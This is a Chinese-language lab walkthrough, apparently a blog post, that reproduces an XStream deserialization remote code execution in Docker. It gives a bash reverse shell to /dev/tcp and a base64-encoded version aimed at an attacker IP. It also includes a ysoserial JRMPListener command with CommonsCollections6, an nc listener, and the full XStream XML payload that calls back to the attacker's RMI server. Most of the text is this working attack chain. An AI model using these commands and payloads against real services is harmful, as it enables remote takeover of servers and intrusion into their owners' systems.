docker-compose up -d
大概就是这么个效果,然后docker ps
看一下刚刚运行的容器
可以看淡映射的主机端口,我们在我们的攻击机上访问一下
大概就是这么个效果。
然后我们在我们的虚拟机上搭建一个RMI服务器,也就是远程方法接口
这里我们使用神奇ysoserial,工具自行github
我们需要运行的方法是这一句
bash -i >& /dev/tcp/ip/port 0>&1
然后再这个网站上编码一下
http://www.jackson-t.ca/runtime-exec-payloads.html
箭头指的部分就是我们需要的payload
然后我们在我们的RMI服务器上运行
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2256 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xNjMvOTk5OSAwPiYx}|{base64,-d}|{bsh,-i}"
引号里面的部分就是你上一步编码的内容,2256就是监听的端口,可以自定义
上图是监听成功的样子
然后在我们的就收shell的服务器上也就是你上一步生成payload填写的ip的那天设备上监听对应的端口
nc -lvvp 9999
然后我们通过burpsuite抓到访问xstream服务首页的数据包。
把请求类型改成post,content-type改为xml
然后再请求体中粘贴下面这一串
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2size>
default>
<int>3int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Contentm__obj>
value>
javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>trueparsedMessage>
<soapVersion>SOAP_11soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>falseattachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aastring>
<string>aastring>
names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRefstring>
<string>192.168.248.163string>
<int>2256int>
<long>0long>
<int>0int>
<long>0long>
<short>0short>
<boolean>falseboolean>
java.rmi.server.RemoteObject>
registry>
<host>192.168.248.163host>
<port>2256port>
ctx>
candidates>
aliases>
nullIter>
sm>
message>
value>
javax.naming.ldap.Rdn_-RdnEntry>
java.util.PriorityQueue>
java.util.PriorityQueue>
上面涉及到ip与端口的地方均修改为你RMI服务器的对应ip与端口
然后发送,看到响应了500的返回值
在看看我们RMI服务器打印的日志
基本可以确定利用成功了
再看看我们的监听
嗯,很不错呢!!成功复现。